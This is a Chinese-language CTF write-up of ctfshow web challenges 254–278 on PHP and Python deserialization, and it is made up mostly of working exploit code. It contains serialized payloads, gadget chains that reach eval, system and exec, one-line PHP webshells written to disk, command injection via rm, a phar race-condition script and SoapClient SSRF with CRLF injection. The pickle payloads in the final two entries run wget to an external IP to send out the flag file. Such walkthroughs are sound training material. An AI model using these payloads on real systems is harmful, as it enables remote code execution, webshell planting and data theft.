本文最后更新于 2024年11月1日 晚上
web254
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
观察一下代码
1
| ?username=xxxxxx&password=xxxxxx
|
web255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
简单构造一下
1 2 3 4 5 6
| <?php class ctfShowUser{ public $isVip=true; } $exp = new ctfShowUser(); echo urlencode(serialize($exp));
|
1
| user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D//cookie传值
|
1
| ?username=xxxxxx&password=xxxxxx
|
web256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
1 2 3 4 5 6 7 8
| <?php class ctfShowUser{ public $username='orange'; public $password='xxxxxx'; public $isVip=true; } $exp = new ctfShowUser(); echo urlencode(serialize($exp));
|
1
| ?username=orange&password=xxxxxx
|
1
| user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22orange%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
|
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $class = 'backDoor';
public function __construct(){ $this->class=new backDoor(); }
public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code="system('tac flag.php');"; public function getInfo(){ eval($this->code); } } $exp =new ctfShowUser; echo urlencode(serialize($exp));
|
1 2
| ?username=xxxxxx&password=xxxxxx user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
|
web258
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
过滤了 O:数字:
C:数字:
的形式, 可以在数字前面加上 +
绕过
然后之前的 private 全部改成 public
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
class ctfShowUser{ public $username = '123'; public $password = '123'; public $class; function __construct($class){ $this->class = $class; } };
class backDoor{ public $code = 'system("cat flag.php");'; }
$o = new ctfShowUser(new backDoor()); echo serialize($o);
?>
|
得到以下内容
1
| ?username=123&password=123
|
1
| user=O:+11:"ctfShowUser":3:{s:8:"username";s:3:"123";s:8:"password";s:3:"123";s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}
|
然后url编码进行传入看源码
web259
1 2 3 4 5 6 7 8
| <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
|
发现非预期好像没了,按正常的来吧,需要利用php的原生类,but我本地代码跑不了,可能是版本问题,直接上别人现成的payload吧
1
| ?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $headers = array( 'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1', 'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo urlencode($aaa); ?>
|
web260
1 2 3 4 5 6 7 8 9
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
|
1
| ?ctfshow=ctfshow_i_love_36D
|
?好像不应该出现在这里吧
web261
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
highlight_file(__FILE__);
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); }
public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } }
unserialize($_GET['vip']);
|
当 __wakeup()
和 __unserialize()
同时存在时, 仅会执行 __unserialize()
方法,__invoke()
当尝试将对象调用为函数时触发
0x36d
需要转化为十进制
1 2 3 4 5 6 7 8 9 10
| <?php
class ctfshowvip{ public $username = '877.php'; public $password = '<?php eval($_REQUEST[1]);?>'; }
echo serialize(new ctfshowvip());
?>
|
1
| ?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:27:"<?php eval($_REQUEST[1]);?>";}
|
一句话木马之后rce就行
web262
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
0x01
1 2 3 4 5 6 7 8 9 10 11
| <?php class message{ public $from; public $msg; public $to; public $token='admin';
} echo base64_encode(serialize(new message()));
?>
|
在/message.php
下面cookie
传值
1
| msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
|
0x02
字符串逃逸
需要确保token为admin
1
| ";s:5:"token";s:5:"admin";}
|
1 2 3
| <?php $a='";s:5:"token";s:5:"admin";}'; echo strlen($a);
|
长度为27,通过str_replace
可以增加一个字符来进行逃逸
1
| ?f=orange&m=orange&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
|
web263
有一个前端页面,下载www.zip,定位到inc/inc.php 中的 User 类有一处 file_put_contents()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
|
文件的开头是
1 2 3
| error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php');
|
另外 index.php 中有一处可以设置 session 的点, 而且并没有引用上面的 inc.php
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); session_start();
if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; }
|
check.php 开头
1 2 3
| error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
|
这边比较懵了引用一下其他的内容
php.ini配置文件当中有关session存储的配置
1 2 3 4
| session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
|
session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);
inc.php 里显式的设置了 php 这个 handler,index.php 使用 php_serialize handler 序列化我们传入的 cookie 值, 生成对应的 session 文件 inc.php 里使用 php handler 反序列化 session 文件我们利用 php handler 中的 |
来进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{ public $username; public $password; function __construct(){ $this->username = '123.php'; $this->password = '<?php eval($_POST[1]);?>'; } } echo base64_encode('|'.serialize(new User()));
?>
|
1
| limit=fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiIxMjMucGhwIjtzOjg6InBhc3N3b3JkIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO30%3D
|
先访问index.php,里面传在cookie里面传,然后在check.php里面传,最后网页访问log-123.php
连接。
web264
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php error_reporting(0); session_start();
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
方法同web262的0x02
web265
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password;
public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } }
$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());
if($ctfshow->login()){ echo $flag; }
|
exp
1 2 3 4 5 6 7 8 9 10 11
| <?php class ctfshowAdmin{ public $token; public $password;
public function __construct(){ $this->password =&$this->token; } } $exp =new ctfshowAdmin(); echo serialize($exp);
|
1
| ?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
|
web266
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php highlight_file(__FILE__);
include('flag.php'); $cs = file_get_contents('php://input');
class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
include('flag.php'); $cs = file_get_contents('php://input');
class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx';
} $exp =new ctfshow(); echo serialize($exp);
|
把ctfshow大写字母,然后bp发包得到flag
web267
参考链接
首先弱密码登陆后台admin::admin
然后在about里面查看源码得到提示
拼接起来
1
| /index.php?r=site%2Fabout&view-source
|
此处有后门
1 2
| ///backdoor/shell unserialize(base64_decode($GET['code']))
|
然后直接利用链子吧,因为平常考察的不多我只做了解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <? namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /flag /var/www/html/basic/web/1.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
|
1
| ?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NDoiZXhlYyI7czoyOiJpZCI7czozODoiY3AgL2ZsYWcgL3Zhci93d3cvaHRtbC9iYXNpYy93ZWIvMS50eHQiO31pOjE7czozOiJydW4iO319fX0=
|
Web268-web274(跳过)
web275
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
highlight_file(__FILE__);
class filter{ public $filename; public $filecontent; public $evilfile=false;
public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } }
if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
where is flag?
|
可以通过filter
中的__destruct
进行语句拼接利用;
提前闭合执行语句
1
| ?fn=a;echo '<?php @eval($_POST[1]); ?>' > orange.php;
|
然后执行🐎就行了
web276
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
highlight_file(__FILE__);
class filter{ public $filename; public $filecontent; public $evilfile=false; public $admin = false;
public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } }
if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
where is flag?
|
根据题目进行分析由于又加了一个限制,admin也需要是true才行,考虑到下方的函数,可以尝试用phar包来进行反序列化
先绕过 checkevil 方法上传文件, 然后利用 copy 和 unlink 的时间差, 再利用一个正常的请求通过 phar:// 协议访问之前上传的文件, 触发反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
class filter{ public $filename = '123; echo \'<?php system($_GET[1]);?>\' > 1.php'; public $evilfile = true; public $admin = true; }
$c = new filter(); $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($c); $phar->addFromString("exp.txt", "test"); $phar->stopBuffering();
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests import threading
url = 'http://8e3f6bfc-1b55-4266-9ce0-0c133676ade7.challenge.ctf.show/'
lock = False
def send_phar(): with open('exp.phar', 'rb') as f: data = f.read() _ = requests.post(url + '?fn=phar.txt', data=data)
def unserialize_phar(): _ = requests.post(url + '?fn=phar://phar.txt', data='123')
def check_shell(): global lock res = requests.get(url + '1.php') if res.status_code != 404: print('ok') lock = True
while not lock: t1 = threading.Thread(target=send_phar) t2 = threading.Thread(target=unserialize_phar) t3 = threading.Thread(target=check_shell) t1.start() t2.start() t3.start()
|
然后访问执行就可以得到flag了
web277
看源码有pickle说明应该是python的反序列化,正常的__reduce__
就行
1 2 3 4 5 6 7 8 9 10 11
| import pickle import base64 import os
class RCE(object): def __reduce__(self): return (os.system, ('wget http://8.130.42.113:XXXX/`cat flag`',))
obj = RCE() payload = pickle.dumps(obj, protocol=0) print(base64.b64encode(payload))
|
web278
1 2 3 4 5 6 7 8 9 10 11
| import pickle import base64 import os
class RCE(object): def __reduce__(self): return (os.popen, ('wget http://8.130.42.113:xxxx/`cat flag`',))
obj = RCE() payload = pickle.dumps(obj, protocol=0) print(base64.b64encode(payload))
|